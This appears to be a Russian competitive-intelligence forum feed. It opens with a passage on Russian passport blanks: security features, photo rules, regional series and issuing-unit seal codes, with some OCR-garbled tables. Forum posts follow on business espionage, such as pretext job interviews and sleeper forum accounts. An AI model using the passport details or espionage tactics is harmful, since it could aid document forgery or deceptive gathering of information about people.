- в гильоширной полосе на стр.20 под углами зрения в диапазоне от 10 до 50 градусов просматривается слово "РОССИЯ" (при взгляде с длинной стороны бланка - светлые буквы на темном фоне, а с короткой - темные буквы на светлом фоне)

3. Бланк сшит нитью из 2 сложений красного и желтого цветов, причем желтое сложение светится в ультрафиолетовом диапазоне желтым цветом.

4. Между стр. 2 и 3 вшита специальная защитная прозрачная (ламинаторная) пленка (холодного или горячего прикатывания) По местам прилегания пленки на левый и верхний края фотографии и по обеим сторонам от прошивки на внутренней (ближайшей к стр. 3) стороне ламинаторной пленки нанесены типографские изображения, исполненные специальной переходящей на бумагу краской красного цвета. В ультрафиолетовом диапазоне наблюдается полоса розового свечения, состоящая в свою очередь из волнистых полос из повторяющейся аббревиатуры "МВД РОССИИ".

Остальные защитные признаки контролируются специалистами Объединения "Гознак" Минфина России и экспертно-криминалистическими подразделениями органов внутренних дел.

6. Требования к личной фотографии для паспорта гражданина Российской Федерации
Личная фотография для паспорта гражданина Российской Федерации должна соответствовать следующим требованиям:

1. Личная фотография изготавливается в черно-белом исполнении.

2. Основные параметры личной фотографии:

- размер предъявляемой фотографии должен 37х47 +2 мм;

- окончательный размер личной фотографии (после вырезки) для наклеивания в паспорт должен быть 35х45 мм;

- размер изображения лицевой части головы 12+1мм (лицевая часть головы - расстояние от нижней точки подбородка до условной горизонтальной линии, проведенной через зрачки глаз);

- изображение размещается на личной фотографии так, чтобы свободное от изображения верхнее поле над головой было 5+1мм.

3. Характеристики личной фотографии:

- на личных фотографиях лицо должно быть сфотографировано строго анфас, с мимикой (выражением), не искажающей его черты, без головного убора. Фотографирование желательно производить в однотонном костюме(платье);

- не допускается фотографирование лиц в очках с тонированными стеклами;

- недопустима общая и в деталях нерезкость фотоснимка, наличие нерезких бликов в изображении глаз;

- фотографии могут быть выполнены только с технической ретушью негатива, недопустимо искажение характерных особенностей лица;

- Изображение должно быть четким, среднего контраста, с мягким светотеневым рисунком. Задний фон светлее изображения лица, ровный, без полос, пятен и изображения посторонних предметов;

- личные фотографии изготавливаются на фотобумаге толщиной до 0,3мм. Тип фотобумаги устанавливается ПВУ МВД России совместно с ЭКЦ МВД России:

- на фотографиях не допускаются изломы, царапины, повреждения эмульсионного, слоя, затеки, пятна, различного рода вуали, следы позитивной ретуши, в том числе химической, и другие технические дефекты.

7. Перечень сокращений, применяемых при оформлении паспорта гражданина Российской Федерации
На странице 2:

-в реквизите "Паспорт выдан" допустимо наименование органа внутренних дел указывать с использованием следующих сокращений: "ГОВД" "РОВД", "УВД", "ГУВД", "МВД";

- в наименовании административно-территориального образования допустимы сокращения: область - "обл.", республика - "респ.", автономная область - "автоном. обл.", автономный округ - "автоном. окр.";

-в реквизите "Дата выдачи" дата указывается арабскими цифрами с проставлением точек после числа и месяца рождения, например 01.07.1999 (см. образцы).

На странице 3:

- в реквизите "Пол" сокращенно указывается "муж." или "жен.";

- в реквизите "Дата рождения" дата указывается арабскими цифрами с проставлением точек после числа и месяца рождения, например 01.08.1983;

- в реквизите "Место рождения" наименование места рождения указывается следующим образом: - село - "с.", поселок - "пос.", станица- "ст.", город - "гор.", район - "р-н ", область - "обл.", республика - "респ.", автономная область - "авт. обл.", автономный округ - "авт. окр.".

На страницах 14 и 15 в штампах о регистрации и расторжении брака допустимы сокращения административно-территориального образования, даты регистрации (расторжения) брака и года рождения супруга аналогично сокращениям, указанным на странице 3 паспорта.

8. Описание кода паспортно-визового подразделения
Код паспортно-визового подразделения расположен в среднем кольце гербовой мастичной печати под изображением Государственного герба Российской Федерации.

Код устоит из двух групп цифр (три разряда в каждой группе). Первые две цифры первой группы обозначают код, закрепленный за конкретным субъектом Российской Федерации. Третья цифра первой группы обозначает уровень паспортно-визового подразделения, оформившего паспорт: в системе органа внутренних дел 1 - ПВС МВД, ГУВД, УВД субъекта Российской Федерации. 2 - ПВС районного (городского) отдела (управления)

внутренних лея, 3 - ЛВС, обслуживающее территорию городского (сельского) отделения милиции.

Вторая группа цифр обозначает код, закрепленный МВД, ГУВД, УВД субъекта Российской. Федерации за конкретным паспортно-визовым подразделением.

Например, гербовая мастичная печать паспортно-визового подразделения МВД Республики Алтай имеет код "041-001", Рыбновского РОВД Рязанской области - "622-045", Дрезненского отделения милиции Орехово-Зуевского УВД Московской области - "503-089" (последние три цифры во всех кодах приведены условно).


Серии бланков паспортов гражданина Российской Федерации.
№ п/п РЕГИОНЫ Серии бланков паспортов
РЕСПУБЛИКИ
1 Республика Адыгея (Адыгея) 79
2 Республика Алтай 84
3 Республика Башкортостан 80
4 Республика Бурятия 81
5 Республика Дагестан 82
6 Республика Ингушетия 26
7 Кабардино-Балкарская Республика 83
8 Республика Калмыкия 85
9 Карачаево-Черкесская Республика 91
10 Республика Карелия 86
11 Республика Коми 87
12 Республика Марий Эл 88
13 Республика Мордовия 89
14 Республика Саха (Якутия) 98
15 Республика Северная Осетия-Алания 90
16 Республика Татарстан (Татарстан) 92
17 Республика Тыва 93
18 Удмуртская Республика 94
19 Республика Хакасия 95
20 Чеченская Республика 96
21 Чувашская Республика - Чаваш республики 97
nbsp; КРАЯ nbsp;
22 Алтайский край 1
23 Краснодарский край 3
24 Красноярский край 4
25 Приморский край 5
26 Ставропольский край 7
27 Хабаровский край 8
ОБЛАСТИ
29 Архангельская область 11
30 Астраханская область 12
31 Белгородская область 14
32 Брянская область 15
33 Владимирская область 17
35 Вологодская облаете" 19
36 Воронежская область 20
37 Ивановская область 24
38 Иркутская область 25
39 Калининградская область 27
40 Калужская область 29
41 Камчатская область 20
42 Кемеровская область 32
43 Кировская область 33
44 Костромская область 34
45 Курганская область 37
46 Курская область 38
47 Ленинградская область 41
48 Липецкая область 42
49 Магаданская область 44
50 Московская область, комплекс "Байконур" 46
51 Мурманская область 47
52 Нижегородская область 22
53 Новгородская область 49
54 Новосибирская область 50
55 Омская область 52
56 Оренбургская область 53
57 Орловская область 54
58 Пензенская область 56
59 Пермская область 57
60 Псковская область 58
61 Ростовская область 60
62 Рязанская область 61
63 Самарская область 36
64 Саратовская область 63
65 Сахалинская область 64
66 Свердловская область 65
67 Смоленская область 66
68 Тамбовская область 68
69 Тверская область 28
70 Томская область 69
73 Ульяновская область 73
74 Челябинская область 75
75 Читинская область 76
76 Ярославская область 78
ГОРОДА ФЕДЕРАЛЬНОГО ЗНАЧЕНИЯ
77 город Москва 45
78 город Санкт-Петербург 40
АВТОНОМНЫЕ ОБЛАСТИ
79 Еврейская автономная область 99
АВТОНОМНЫЕ ОКРУГА
80 Агинский Бурятский автономный округ 43
81 Коми-Пермяцкий автономный округ 48
82 Корякский автономный округ 51
83 Ненецкий автономный округ 55
84 Таймырский (Долгано-Ненецкии) автономный округ 59
85 Усть-Ордынский Бурятский автономный округ 62
86 Ханты-Мансийский автономный округ 67
87 Чукотский автономный округ 77
88 Эвенкийский автономный округ 72
89 Ямало-Ненецкий автономный округ 74

ПЕРЕЧЕНЬ номеров гербовых мастичных печатей и кодов подразделений ПВС органов внутренних дел
Регион коды и номера печатей подразделений ПВС
МВД ГУВДУВД ОВД Отделения милиции
РЕСПУБЛИКИ
1 Адыгея (Адыгея) 011-001 012-001-012-008 013-001
2 Алтай 041-001 042-001-042-011 043-001
3 Башкортостан 021-001 022-001-022-074 023-001-023-013
4 Бурятия 031-001 032-001-032-025 033-001-033-020
5 Дагестан 051-001 052-001-052-053 053-001-053-009
6 Ингушетия 061-001 062-001-062-006 063-001
7 Кабардино-Балкарская 071-001 072-001-072-012 073-001
8 Калмыкия 081-001 082-001-082-014 083-001
9 Карачаево-Черкесская 091-001 092-001-092-010 093-001-093-002
10 Карелия 101-001 102-001-102-013 103-001
11 Коми 111-001 112-001-112-021 113-001-113-006
12 Марий Эл 121-001 122-001-122-017 123-001-123-004
13 Мордовия 131-001 132-001-132-025 133-001-133-002
14 Саха (Якутия) 141-001 142-001-142-035 1143-001-143-025
15 Северная Осетия-Алания 151-001 152-001-152-012 153-001
16 Татарстан (Татарстан) 161-001 162-001-162-061 163-001-163-006
17 Тыва 171-001 172-001-172-0 IS 173-001
18 Удмуртская 181-001 182-001-182-032 183-001
19 Хакасия 191-001 192-001-192-014 193-001
20 Чеченская 201-001 202-000 203-000
21 Чувашская-Чаваш республики 211-001 212-001-212-026 213-001-213-003
КРАЯ
22 Алтайский 221-001 222-001-222-073 223-001-223-007
23 Краснодарский 231-001-231-002 232-001-232-056 233-001-233-068
24 Красноярский 241-001 242-001-242-062 243-001-243-014
25 Приморский 251-001 252-001-252-038 253-001-253-023
26 Ставропольский 261-001 262-001-262-035 263-001-263-002
27 Хабаровский 271-001 272-001-272-026 273-001-273-033
ОБЛАСТИ
28 Амурская 281-001 282-001-282-025 283-001-283-011
29 Архангельская 291-001 292-001-292-031 293-001
30 Астраханская 301-001 302-001-302-026 303-001-303-004
31 Белгородская 311-001 312-001-312-026 313-001-313-008
34 Волгоградская 341-001 342-001-342-043 343-001
35 Вологодская 351-001 352-001-352-029 353-001-353-004
36 Воронежская 361-001 362-001-362-040 363-001-363-005
37 Ивановская 371-001 372-001-372-025 373-001-373-003
38 Иркутская 381-001 382-001-382-038 383-001-383-016
39 Калининградская 391-001 392-001-392-023 393-001-393-003
40 Калужская 401-001 402-001-402-028 403-001-403-005
41 Камчатская 411-001 412-001-412-016 413-001-403-003
43 Кировская 431-001 432-001-432-044 433-001-433-016
44 Костромская 441-001 442-001-442-029 443-001-443-002
45 Курганская 451-001 452-001-452-025 453-001-453-003
46 Курская 461-001 462-001-462-030 463-001-463-012
4748 49 Ленинградская 471-001 472-001-472-019 473-001-473-036
48 Липецкая 481-001 482-001-482-030 483-001
49 Магаданская 491-001 492-001-492-009 493-001-493-009
50 Московская 501-001-501-002 502-001-502-074 503-001-503-140
51 Мурманская 511-001 512-001 -512-021 513-001 -513-003
52 Нижегородская 521-001 522-001 -522-061 523-001 -523-011
53 Новгородская 531-001 532-001 -532-023 533-001
54 Новосибирская 541-001 542-001 -542-043 543-001-543-003
55 Омская 551-001 552-001 -552-038 553-001 -553-002
56 Оренбургская 561-001 562-001 -562-045 563-001 -563-005
57 Орловская 571-001 572-001 -572-027 573-001
58 Пензенская 581-001 582-001 -582-034 583-001 -583-003
59 Пермская 591-001 592-001 -592-044 593-001-593-019
60 Псковская 601-001 602-001 -602-026 603-001
61 Ростовская 611-001-611-002 612-001 -612-073 613-001 -613-009
62 Рязанская 621-001 622-001 -622-029 623-001 -623-003
63 Самарская 631-001 632-001 -632-048 633-001-633-007
64 Саратовская 641-001 642-001 -642-049 643-001 -643-002
65 Сахалинская 651-001 652-001 -652-018 653-001-653-009
66 Свердловская 661-001-661-002 662-001 -662-064 663-001 -663-042
67 Смоленская 671-001 672-001 -672-029 673-001 -673-006
68 Тамбовская 681-001 682-001 -682-029 683-001
69 Тверская 691-001 692-001 -692-041 693-001 -693-003
70 Томская 701-001 702-001 -702-023 703-001-703-005
71 Тульская 711-001 712-001 -712-029 713-001-713-019
72 Тюменская 721-001 722-001 -722-027 723-001 -723-007
73 Ульяновская 731-001 732-001 -732-026 733-001 -733-002
74 Челябинская 741-001 742-001 -742-051 743-001 -743-011
75 Читинская 751-001 752-001 -752-032 753-001 -753-017
76 Ярославская 761-001 762-001 -762-024 763-001
ГОРОДА ФЕДЕРАЛЬНОГО ЗНАЧЕНИЯ
77 г. Москва 771-001-771-002 772-001 -772-107 773-001 -773-054
78 г. Санкт-Петербург 781-001-781-002 782-001 -7S2-085 783-001
АВТОНОМНАЯ ОБЛАСТЬ
79 Еврейская 791-001 792-001-792-006 793-001-793-008
АВТОНОМНЫЕ ОКРУГА
80 Агинский Бурятский 801-001 802-001-802-003 803-001
81 Коми-Пермяцкий 811-001 812-001-812-006 813-001-813-003
82 Корякский 821-001 822-001-822-005 823-001-823-004
83 Ненецкий 831-001 832-001 833-001
84 Таймырский (Долгано-Ненецкий) 841-001 842-001-842-003 843-001
85 Устъ-Ордынский Бурятский 351-001 852-001-852-006 853-001
86 Ханты-Мансийский 861-001 862-001-862-020 863-001-863-021
87 Чукотский 871-001 872-001-872-009 873-001
88 Эвенкийский 881-001 882-001-882-002 883-001
89 Ямало-Ненецкий 891-001 892-001-882-013 893-001- 893-010
90 ПВУ МВД России 901-001-901-003 - -
91 8 ГУ МВД России 901-004-901-005 - -
]]> Thu, 15 Jan 2009 17:03:06 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=507 <![CDATA["Шпионаж" на форумах как узаконенный метод]]> http://www.a-rsb.ru/forum/index.php?showtopic=515 Опытный Интернет-макетолог, с помощью форумов, может вполне законным путем получить информацию, которую он никогда не смог бы получить в обычной жизни.
Несмотря на то, что большинство форумов представляет собой хаотичное нагромождение отрывочной информации, среди нее можно найти много ценных мыслей и идей. Надо лишь уметь их искать среди информационного мусора.
Многие форму принадлежат конкурентам по тому или иному бизнесу. Рядовому пользователю Интернета выяснить настоящего владельца форума непросто.
С помощью форумов можно оперативно узнать мнение людей по многим вопросам, например, получить отзывы о каком-либо товаре, услуге и т.д.
Если в состав корпоративного сайта входит форум, то можно практически со 100% вероятностью утверждать, что среди пользователей форума много конкурентов. Еще больше конкурентов не среди непосредственных участников форума, а среди его посетителей.
Форум конкурента - "лакомый кусок" для многих Интернет-маркетологов. Анализ форума конкурента может дать больше информации о конкуренте, чем непосредственно сайт конкурента.

На заметку

На многих форумах есть "законсервированные агенты". Смысл их в следующем.
После того, как появляется форум, на нем регистрируются пользователи, которые, до некоторого времени, или совсем в нем не участвуют, или их участие неактивное.
После того, как форум начинает становиться популярным, такие пользователи становятся все более активными. Примечательно, что среди таких пользователей могут быть именно конкуренты.

Пример

Фирма "Н", занимающаяся продажей недвижимости, создала форум.
Через некоторое время администраторы форума "подружились" с пользователем "М" из другого города, с которым они активно обменивались различной информацией.
Среди такой информации была информация "для служебного пользования".
Через несколько лет администратор форума совершенно случайно понял, что пользователь "М" уже много лет работает на фирме конкурента.

Важно

Любая информация, опубликованная на форуме, входящем в состав официального сайта фирмы, будет восприниматься как имеющая отношение к фирме, даже если на форуме будет на каждой веб-странице написано, что это не так.

ПЕРВОИСТОЧНИК]]> Sun, 18 Jan 2009 00:53:48 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=515 Кейс: Мониоринг патентов как инструмент КР http://www.a-rsb.ru/forum/index.php?showtopic=458
Там говорится о том, что Dell создает новый ультратонкий ноутбук. Но меня заинтересовала не информация о новинке, с точки зрения техники.
В контексте конкурентной разведки мне показалась особенно интересной вот эта фраза: "Все началось с момента, когда сотрудники New York Times выяснили, что Dell зарегистрировала новую торговую марку Adamo".

А потом журналисты, зацепившись за этот факт, пошли искать дополнительную информацию. И неашли, хотя и совсем немного: "При этом вся информация о новом продукте сводилась к заставке на сайте-тизере Adamobydell.com — темный фон, стильная «подсветка», фирменный логотип и обещание скорой презентации."

Ну, и дальше последовал вывод: "Проведенное газетой и ресурсом Engadget расследование привело к неожиданному открытию: Dell готовит собственную версию предельно тонкого ноутбука, который будет позиционироваться как «как самый тонкий лэптоп в мире» — и таким образом претендовать на нынешний титул «аэробука»."

Полный текст статьи - здесь]]> Mon, 22 Dec 2008 13:12:47 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=458 Кейс: Обновление программ - источник разведданных http://www.a-rsb.ru/forum/index.php?showtopic=459
Покопавшись в программном коде, специалисты обнаружили, какие новинки выйдут в производство в ближайшее время. Вот как пишет об этом специализированный сайт о компьютерах Apple: "Любопытные вещи обнаружили Мак-пользователи, покопавшись в недрах обновления Mac OS X 10.5.6. ...

В его служебных файлах были найдены упоминания новых компьютеров «Macmini3.1» и «iMac9.1», которые... будут построены на базе чипсета Nvidia 9400M.

Можно даже сказать, что теперь это подтверждено документально. В файле ACPI_SMC_PlatformPlugin.kext, содержащим информацию по конфигурациям различных моделей, напротив новых моделей iMac и Mac mini обнаружилось кодовое обозначение чипсета - CFG_MCP79 - что однозначно указывает на новую платформу Nvidia."

Полный текст статьи здесь]]> Mon, 22 Dec 2008 13:18:25 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=459 <![CDATA[Браузер Google - теперь без "шпионского модуля"]]> http://www.a-rsb.ru/forum/index.php?showtopic=381 Теперь ситуация изменилась, и специалистов конкурентной разведки это не может не радовать:

"SRWare Iron - В «модифицированной» версии, получившей названием Iron, удалены компоненты, которые могли передавать Google данные о пользователе. Iron отличается от своего прототипа тем, что не содержит идентификаторов пользователя, не отправляет Google никакой информации о пользователе, не отправляет данные о возникших проблемах, не содержит утилиту обновления Google.
http://www.srware.net/en/software_srware_iron.php
Freeware"

via Александр Кузин ]]> Wed, 19 Nov 2008 21:57:28 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=381 Интернет-ссылки для Конкурентной разведки http://www.a-rsb.ru/forum/index.php?showtopic=383 serg5807
Содержит разделы:

* Поиск информации о бизнес-партнерах
* Информация о доменах, телефонные базы и справочники
* Банки, страховые компании
* Серверы раскрытия информации по рынку ценных бумаг
* Регистрация субъектов права иностранных государств (реестры предприятий)
* Банкроты, должники, недобросовестные и проблемные предприятия
* Криминал. Экстремизм. Розыск
* Репрессированные
* Дома под снос и реконструкцию в г.Москве и Сант-Петербурге
* Реестры лицензий
* Базы данных в области законодательства
* Базы данных в области медицины
* Биографии
* Карты, схемы городов
* Другие базы данных и справочная информация

Кроме того, в комментариях идут дополнения.
]]> Wed, 19 Nov 2008 22:15:31 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=383 <![CDATA[Статья "Инновации в Бизнес-разведке"]]> http://www.a-rsb.ru/forum/index.php?showtopic=379 Статья "Инновации в Бизнес-разведке" (Russian Innovations in Business Intelligence)

Опубликована статья "Инновации в Бизнес-разведке", которая рассказывает о возможностях и истории создания российской программы СайтСпутник (SiteSputnik).
Я уже говорил об этой программе, которую один из разработчиков - MOS - очень точно назвал "программой для допроса Интернета".

Статья "Инновации в Бизнес-разведке" на русском языке опубликована ниже.


Ее англоязычный вариант расположен на блоге someone_mos под названием Russian Innovations in Business Intelligence

А здесь - полевые испытания программы СайтСпутник (SiteSputnik). Со скриншотами.



Инновации в бизнес-разведке

Современные трансформации рыночных отношений в России вновь преподносят сюрпризы и принимают причудливые формы - в стране начал активно развиваться сектор бизнес-разведки.

Еще только-только формируются законодательная база и морально-этические нормы этой профессиональной деятельности.

Совсем недавно в этом экзотическом секторе появился невиданный в экономике пример — взаимопонимание бизнеса с государством, даже более - фактически реализация приоритетов государства на частном профессиональном уровне.

Менее полугода назад, тогда еще первый вице-премьер Российской Федерации, Дмитрий Медведев обозначил четыре приоритетных, по его мнению, "И", на которых в ближайшие годы необходимо сосредоточиться, - это институты, инфраструктура, инновации и инвестиции.
На первый взгляд, какое отношение это имеет к молодому сектору конкурентной разведки, но оказалось - самое непосредственное.

Один из признанных российских экспертов в области ведения конкурентной разведки Евгений Ющук, уже не первый год активно освещает тему профессионального использования интернета для поиска ценной информации. Он регулярно проводит специализированные авторские курсы, и являясь членом международного Общества профессионалов конкурентной разведки SCIP, регулярно обменивается опытом с зарубежными коллегами. В России издано ряд его книги, написанных лично и в соавторстве с другими экспертами.

Одна из его книг "Интернет-разведка: руководство к действию", и является своеобразным справочным руководством по данной проблематике. Большой опыт, накопленный автором, и отличное знание всех существующих в мире на тот момент инструментов позволили показать реальную узкоспециализированную проблему с максимальной ясностью и детализацией. Именно этим, в свою очередь, озадачился специалист, имеющий непосредственное отношение к бизнес-разведке.

Как и предполагалось, собрать полную информацию о нем, в том числе настоящее имя, не удалось — не всегда разведчики стремятся быть узнанными. Известно лишь, что он зарегистрирован на сетевом Форуме бизнес-разведчиков под псевдонимом "MOS".

Внимательно наблюдая за ходом обсуждений по проблемам интернет-поиска, и кристаллизовав накопившиеся вопросы в своеобразное техзадание, он обратился к одному из разработчиков программного обеспечения, и предложил реализовать на базе его программы принципиально новые и специфические возможности обработки интернет-информации, оставив за собой роль своеобразного тестера. Фактически, MOS обозначил способы решения проблем, которые сформулировал в своих работах Ющук, и предложил участие в их реализации разработчику с высоким КПД.

Создателем программы с нестандартными и еще нигде не реализованными функциями согласился стать Алексей Мыльников, с готовностью принявший вызов времени. Имея за плечами школу МИФИ, опыт работы в конструкторских бюро советской оборонки и неутолимый созидательный настрой, Алексей активно взялся за реализацию проекта. Уже через месяц программа SiteSputnik была оснащена первыми уникальными функциями поиска информации в интернете.

Иными словами, Мыльников "научил" свою программу производить поиск ряда объектов по нескольким языкам одновременно, получать наиболее точный и полный результат, а также извлекать из результата данные о связях объектов между собой. Другими словами, программа ищет иголку в стоге сена, причем не требуя постоянного участия пользователя.

Каждая новая версия SiteSputnik проходит своеобразный технический контроль MOS’а и авторитетную экспертную оценку Евгения Ющука, которые проверяют детище Мыльникова на живых примерах из своей работы. Таким образом, продукт совершает полный путь от идеи к реализации и конкретному применению в работе, что является главным отличием инновации от изобретения.

Сегодня к обсуждению программы присоединились многие другие специалисты бизнес-разведки на нескольких профессиональных форумах. Целая профессиональная группа участвует в формировании характеристик продукта. Часто новые идеи рождаются и оттачиваются в процессе дискуссий.

Поэтому их реализация сразу находит потребителя, и на реальных задачах, в деле проходит технический контроль и испытания. Фактически, сам же инновационный продукт и разрабатывается инновационным способом.
Примечательно, что при всей новизне стратегических приоритетов, соблюдены профессиональные традиции.
По сути, разработка принципиально нового продукта осуществлена по классическому сценарию, соответствующему представлениям о тесных отношениях разведчиков с разработчиками новых технологий. Согласно им, разведслужбы нередко заказывают ученым и лабораториям принципиально новый продукт для своих конкретных нужд. Отличие лишь в том, что государственные спецслужбы свои инновации засекречивают, а вот в бизнес-разведке этого нет.

Алексей Мыльников, разработчик
- Для чего и для кого вы создавали программу SiteSputnik, какими мотивами руководствовались?
- Целью создания программы являлась реализация робота, на которого можно переложить черновую работу по поиску и сбору информации в интернете. Для кого? Это уже показала практика - среди пользователей значительную часть занимают маркетологи, преподаватели, менеджеры, руководители и, конечно же, специалисты бизнес-разведки.
Относительно мотивов - мне это очень интересно. Разработка идет в тесном контакте с пользователями, часто новые идеи рождаются прямо при online-общении.

ПРОДОЛЖЕНИЕ - НИЖЕ]]> Wed, 19 Nov 2008 21:42:53 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=379 Реестры зарубежных неплатежеспособных компаний и ф http://www.a-rsb.ru/forum/index.php?showtopic=376
Реестры зарубежных неплатежеспособных компаний и физических лиц

Автору этого ресурса мое огромное спасибо и респект!
http://dip-deep.blogspot.com/



Источник - блог Конкурентная разведка]]> Wed, 19 Nov 2008 21:36:58 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=376 Шпионаж в бизнесе. http://www.a-rsb.ru/forum/index.php?showtopic=189 бизнес-шпионаж сегодня является самым популярным способом, с помощью которого можно не только получить закрытую информацию, но и захватить чужой бизнес.

Идея - это "золотая жила" каждого предприятия. Ее можно разработывать и своими силами, но как показывает практика, намного дешевле и быстрее идею позаимствовать у других.

Производственный процесс - это уникальные технологии. Совершенствуя производственный процесс, каждая компания старается экономить как можно большее количество средств, затрачиваемых на производство.

Украсть технологии, позволяющие быть более конкурентоспособными на рынке, чаще даже легче, чем идею. Принцип работы предприятий довольно часто можно понять основываясь на документах, с которыми работают рядовые сотрудники.

Один из самых популярных методов шпионажа в Москве - виртуальное собеседование. Конкуренты снимают офис и приглашают ведущих сотрудников пройти собеседование для устройства на работу, предлагая более интересные условия. Если сотрудники соглашаются, с ними проводит беседу психолог, между делом расспрашивает их о работе предприятия. Или в развлекательном центре с конкурентом знакомится красивая девушка или мужчина (обычно это профессиональный психолог) и в беседе получает сведения, которые, возможно, скрывались годами.

Руководители компаний, чтобы избежать "утечки информации", используют разные методы. Основной способ - тщательный отбор (проверка) сотрудников предприятия. При приеме на работу с кандидатами общается психолог или даже руководитель службы безопасности. С каждым днем все чаще соискателям предлагают пройти на Полиграфе (детектор лжи). Но если в организации есть свободный доступ к информации и интернету, перечисленные способы защиты могут быть малоэффективными. Поэтому все чаще пользуются популярностью системы тотального контроля за сотрудниками: видеонаблюдение, контроль пользования интернетом и другие. Результатом таких действий становится относительная защита от внешнего нападения, но при этом чаще всего предприятие теряет ценных сотрудников.

Методов, способных на 100% защитить бизнес от шпионажа не знает никто. Эксперты признают это. Но любой руководитель может создать несколько правил для предприятия: уменьшение количества сотрудников, которые имеют доступ к ценной информации; базы данных не держать на рабочем компьютере (который можно относительно легко похитить); контроль за рабочим временем сотрудников, а также их внешние связи.
Правило, которое актуально в любой сфере: "Усложните задачу настолько, чтобы затраты, необходимые для получения ценных данных о вашей компании были больше выгоды, которую можно извлечь, используя их."

]]> Fri, 06 Jul 2007 11:16:51 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=189 Если вы сделали фотку и боитесь, что ее заставят с http://www.a-rsb.ru/forum/index.php?showtopic=275 Если вы сделали фотку и боитесь, что ее заставят стереть, либо вы не хотите, чтобы ее нашли в вашем телефоне

Несколько дней назад я писал о сервисе Яндекса "Мобильный - Фотки", позволяющем избавиться от фотографии на мобильном телефоне, сохранив ее на сервере Яндекса.
squadette подсказал еще один подобный сервис, который дает возможность быстро "сбросить" фото или видео на свой блог или на фотохостинг.

Сайт, на котором можно скачать соответствующую программу, называется Spyphoto.ru



Вот информация с сайта:
Для чего Вы активный пользователь сетевых фотосервисов – воспользуйтесь SpyPhoto для мгновенного размещения фотографий на своем любимом сайте или блоге: ЖЖ, Ли.Ру, Flickr и др.

Как установить Для того чтобы установить приложение необходимо подключить и настроить GPRS/WiFi, скачать и установить приложение для вашей модели телефона.

На мой взгляд, преимущества этого ресурса перед "Мобильный - Фотки" в том, что можно закачивать фотографии на многие другие ресурсы, а не только на "Фотки Яндекса".
К недостаткам я бы отнес несколько одиозное название. В случае острого конфликта с чужой службой безопасности, специалисту конкурентной разведки проще объяснить наличие на своем телефоне программы для Фоток Яндекса (куда обычно сбрасывают снимки из серии "Мы с Маней на фоне Эйфелевой башни"), нежели наличие программы со словом "шпион" в названии.]]> Thu, 27 Dec 2007 11:26:13 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=275 Как выбивают секреты у предпринимателей. http://www.a-rsb.ru/forum/index.php?showtopic=333
Как стало известно «Росбалту», в прокуратуру Северо-Западного округа Москвы с заявлением обратился технолог ООО «Экспо Маркет». Он рассказал, что у дома на Карамышевской набережной на него напали неизвестные. Мужчину скрутили, надели на глаза повязку и увезли в какую-то квартиру.

Злоумышленники требовали, чтобы сотрудник «Экспо Маркет» передал им технологии производства искусственной икры из водорослей бурого фукуса, что является интеллектуальной собственностью. Мужчина сам смог сбежать от похитителей когда они уснули, и сразу отправился в прокуратуру.

По факту похищения человека было возбуждено уголовное дело. Сотрудники ГУ МВД по ЦФО выяснили, что организовал нападение на технолога гендиректор ООО «Элита морей и океанов», который был заинтересован в получении подобной информации. Вчера предприниматель был задержан оперативниками. Сейчас идет поиск других участников похищения.]]> Thu, 24 Jul 2008 21:00:48 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=333 Аналитика http://www.a-rsb.ru/forum/index.php?showtopic=279 Хотелось бы услышать мнение честного народа в отношении функций информационно-аналитической работы в нашем деле.
Ограничиваемся работой по контрагентам, сбором "горячей" информации по темам, подготовкой справок и выкладок ... или еще есть что?
Как тут будут смотреться некоторые функции из "собственой безопасности" - в плане проверки персонала, в том числе кандидатов на должность, фирмы?
Или, возможно, некоторые задатки "начальника штаба" при разработке того или иного дела?]]> Wed, 30 Jan 2008 00:03:15 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=279 Студенты воруют инфрмацию в компаниях http://www.a-rsb.ru/forum/index.php?showtopic=288
Эксперты считают, что помимо блогов хакеры будут активно атаковать службы мгновенных сообщений (ICQ или MSN), а также мобильные телефоны. Причем целью для хакеров будет банальный заработок денег за счет кражи личных сведений пользователей.

Специалисты McAfee, в свою очередь, предостерегают сотрудников крупных компаний от новых видов промышленного шантажа. Бояться работникам корпораций стоит «нанятых преступниками студентов», которые будут «воровать массу сведений с помощью компактных карт памяти».

Об этом сообщает сайт lenta.ru.
]]> Thu, 21 Feb 2008 09:42:40 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=288 Результаты работы с програмой StaffCop http://www.a-rsb.ru/forum/index.php?showtopic=278
Вот такие первые результаты по работе с программой StaffCop.
Вывод. Купили и нежалеем. Слово чести.
]]> Mon, 14 Jan 2008 16:45:16 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=278 Личная поисковая система Flexum http://www.a-rsb.ru/forum/index.php?showtopic=276 Создана и тестируется поисковая система в интернете - Flexum. Уникальность системы в том, что ее можно настраивать "под себя".

Преимущества
Качество выдачи. Вы сами решаете, добавлять ли сайт в поиск, «фальшивые сайты» попадут в него только если вы сами того захотите. Всё в ваших руках.
Управляемость результатов. Сайтам можно назначать разный рейтинг, тем самым влияя на релевантность документов и их положение в поисковой выдаче.
Простой способ установки поисковой системы в любой сайт. Для размещения поисковой системы на своем сайте достаточно вставить несколько строчек html-кода.
Контекстная реклама. Вы сможете получать деньги от показа рекламы в вашем поиске.
Совместная работа над поиском. Для работы можно привлекать друзей, при этом гибко разграничивая права каждого из них.
Блоги и статьи, которые вы можете писать самостоятельно и которые получат наивысший приоритет в результатах поиска.
И конечно — дизайн, который дает качественно новые возможности поиска. Будьте впереди!

Более полная информация ЗДЕСЬ]]> Mon, 14 Jan 2008 10:03:22 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=276 Поисковик с визуализацией связей http://www.a-rsb.ru/forum/index.php?showtopic=272 Новый российский проект "Кто там". Создан для того, чтобы "в одном окне" собрать информацию из разных интернет-источников и нарисовать связи между различными объектами - людьми, организациями, событиями. Я вынес ссылку на него на главную страницу моего сайта "Конкурентная разведка", чтобы можно было не рыться по закладкам. Я расположил его в левой колонке - рядом с остальными источниками поиска информации.

